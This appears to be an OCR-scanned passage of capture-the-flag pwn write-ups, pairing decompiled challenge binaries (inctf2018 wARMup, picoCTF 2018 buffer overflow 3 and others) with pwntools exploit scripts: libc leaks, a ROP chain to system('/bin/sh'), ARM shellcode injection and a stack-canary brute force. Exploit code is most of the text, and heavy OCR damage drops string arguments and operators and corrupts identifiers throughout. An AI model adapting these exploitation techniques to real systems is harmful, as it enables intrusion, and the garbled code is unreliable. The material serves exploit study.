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lint __cdecl main(int argc, const char **argv, const char **envp)
{

void (__cdecl *v4)(int); //
unsigned int v5; //

= __readgsdword(©x14u);
leak_memory(1, & _bss_start, 4u, ©xCAFEBABE, ©xDEADBEEF, 1, 3, 3, 7);
__1s0c99_scanf(&unk_8048630, &v4);

(-559038737);
return __readgsdword(@x14u) ~ v5;
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leak_memory

ssize t _ cdecl leak_memory(int fd, void *buf, size_t

{

ssize_t result; // eax

if ( a4 == OxCAFEBABE && a5 == OxDEADBEEF )
{

result = a8 + a7 + a6 + a9;
if ( result == 14 )
result = write(fd, buf, n);

h

return result;

h
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from pwn import
context.log_level

remote( , 26058)

)

libc_base u3d2(r.recv(4)) libc.sym[

print (libc_base)

one_gadget = libc_base + 0x3a80c

r.sendline( (one_gadget 0x100000000) )

r.interactive()
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int _ cdecl main(int argc, const char **argv, const char **envp)

{

setbuf(stdin, OLL);
setbuf(stdout, ©LL);
while ( 1)
{
while ( 1)
{
puts("Please input your name:");
__1s0c99_scanf("%s", str);
if ( (unsigned int)check_str() )

break;
puts("Wrong Input");
}
if ( angr_hash() == ©x53CBEB@35LL )
break;

puts("Try Again");
}
puts("Welcome");
have_fun();
return @;
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int64 angr_hash()

int v1; // [rsp+18h] [rbp-1@h]
int i; // [rsp+14h] [rbp-Ch]
__inté4 v3; // [rsp+18h] [rbp-8h]

v3 eLL;
vl = strlen(str);
for (1 =9; 1 < vl; ++1 )
v3 = (117 * v3 + str[i]) % 20181107000006LL;
return v3;
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int64 angr_hash()

int v1; // [rsp+18h] [rbp-1@h]
int i; // [rsp+14h] [rbp-Ch]
__inté4 v3; // [rsp+18h] [rbp-8h]

v3 = @LL;
vl = strlen(str);
for (1 =9; 1 < vl; ++1 )
v3 = (Ox75 * v3 + str[i]) % 2018110700000LL;
return v3;
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.|int have_fun()

char buf[96]; // [rsp+@h] [rbp-76h] BYREF
int v2; // [rsp+6@h] [rbp-16h]

memset(buf, @, sizeof(buf));

vZ = @;

puts("Please input your code to save");
read(@, buf, @xl1eeuLL);

return puts(“Save Success");
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from pwn import

context(log level ,arch

remote( ,25080)

elf = ELF(
libc = ELF(

puts plt=elf.plt[
puts_got=elf.got[
have fun=0x400801
pop_rdi_ret=0x400983

payload ox78 p64(pop_rdi_ret) p64(puts_got)
r.sendline(payload)

r.recvuntil( )

puts_addr=u64(r.recv(6).1ljust(8,

libc_base puts_addr libc.sym[

system_addr libc_base libc.sym[

bin_sh libc_base libc.search( g @)

payload Ox78 + pb64(ret) p64(pop_rdi_ret) p64(bin_sh)

r.sendline(payload)

r.interactive()

253 inctf2018_wARMup

p64(puts plt)

p64(have_fun)

p64(system_addr)
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buf= -8x68

PUSH {R11, LR}

ADD R11, SP, #4

SUB SP, SP, #0Ox68

UMULLSLS R9, Re, Re, Re
UMULLSLS R9, Re, Re, Re

LDR R3, =__bss_start

LDR R@, [R3] : stream
MOV R3, #0 ;n

MOV R2, #2 ; modes
MOV R1, #© ; buf

BL setvbuf

LDR RO, =aWelcomeToBi®sC ; "Welcome to bi@s CTF!"
BL puts

SUB R3, R11, #-buf

MOV R2, #0x78 , 'x' ; nbytes
MOV R1, R3 ; buf
MOV RO, #0 ; fd

BL read

MOV R3, #0

MOV RO, R3

SUB SP, R11l, #4

POP {R11,PC}

; End of function main

char buf[1e4]; //

setvbuf((FILE *)_bss_start, @, 2, ©);
puts("Welcome to bi@s CTF!");
read(e, , ©x78u);

return @;
1
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H M 1gadget.

.init:00010364 pop {R3,PC}
_text:00010534 MOV R1, R3 . buf
_text:00010538 MOV RO, #0 . £d
.text:eee1053C BL read
_text:00010540 MOV R3, #0
text:00010544 MOV RO, R3
text:00010548 us SP, R11, #4
text:0001054C POP {R11,PC}
armff]bss BLAR & AT AT
fy.
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from pwn import

r process ([

el f=ELF( )
context.log_level

context.arch

offset=0x68

payload (offset-4)+p32(elf.bss())
payload+=p32(0x00010364)+p32(elf.bss())+p32(0x00010530)

r.recvuntil( )
r.sendline(payload)
shellcode asm(shellcraft.sh())

r.sendline(p32(elf.bss() 4) shellcode)
r.interactive()
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while ( 1)
{
printf(“"guess> ");
if ( !fgets(inbuf, 496, stdin) )
break;
rtrim(inbuf);
if ( is_flag_correct(inbuf) )

puts(
"Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!");
else
puts("Nope.");
¥
¥
4 f

if ( strlen(flag _hex) != 180 )
{

vl = strlen(flag hex);
printf("bad input, that hexstring should be 1@ chars, but was %d chars long!\n", v1);
exit(9);

¥

gmemcpy(bin_by hex, &unk_4e11ee, sizeof(bin_by hex));

gmemcpy(flag, "FAKE{9b355e394d2070ebdedf195d8b234589cc29272bc412}", sizeof(flag));

bzero(given flag, ©x32ulLl);

for (1 =0; 1 <= 49; ++1 )

{
valuel = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * 1 + 1]];
if ( valuel == -1 || value2 == -1 )
{
puts("bad input - one of the characters you supplied was not a valid hex character!");
exit(e);
}
given_flag[i] = value2 | (16 * valuel);
}
diff = ©;
for (10 =0; 10 <=49; ++1 8 )
diff |= flag[i_e] ~ given_flag[i_e];
return diff == @}

}

00000B1C is flag correct:8 (400B1C)
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from pwn import

(59):
payload
payload p8(0x100-0x40 i)

remote( ,28532)

(1,51):
(1)
(32,128):
pay payload[@:2*i-2] (c)[2:] payload[2*i:]

r.sendlineafter( ,pay)

ENES r.recvuntil(
if in ans:
flag (c)

break

print ,flag

r.close()

255 picoctf_2018_buffer overflow 3



{
__gid_t v4; //

setvbuf(_bss_start, ©, 2, ©);
= getegid();

setresgid(v4, , );

read_canary();

vuln();

return 8;

int _ cdecl main(int argc, const char **argv, co

[int read_canary()
{
FILE *stream; //

= fopen("canary.txt", "r");

if (! )
puts(
"Canary is Missing. Problem is Misconfigured,
exit(e);
}
fread(&global_canary, 1lu, 4u, B
return fclose( );

canary A\ XU, 1323 T bss.

please contact an Admin if you are running this on the shell server.");
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| char buf[32]; // [esp+28h] [ebp-36h] BYREF
| int sl1; // [esp+48h] [ebp-16h] BYREF
'\ int v5; // [esp+4Ch] [ebp-Ch]

I v5 = 8;

)| s1 = global_canary;

.| printf("How Many Bytes will You Write Into the Buffer?\n> ");

| while ( v5 <= 31 )

Ao

| read(®, &v2[v5], 1u);

; if ( v2[v5] == 10 )

g break;

' ++v5;

}

__1s0c99_sscanf(v2, "%d", &nbytes);

printf("Input> ");

.| read(e, buf, nbytes);

| if ( memcmp(&s1l, &global_canary, 4u) )

oA

| puts("*** Stack Smashing Detected *** : Canary Value Corrupt!");
i exit(-1);

I,
'l puts("Ok... Now Where's the Flag?");
| return fflush(_bss_start);
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from pwn import

shell ssh(host , port=29807, password

context.log level

(OxFF):
r shell.process(

r.sendlineafter( )

payload 0x20 canary p8(c)

r.sendafter( ,payload)
r.recv(l)
ENES sh.recv()
if not in ans:
print
canary p8(c)
break
else:
print

r.close()

,canary
0x20 canary p32(0)*4 + p32(Ox080486EB)
shell.process( )
r.sendlineafter( 5 )
r.sendafter( ,payload)

r.interactive()
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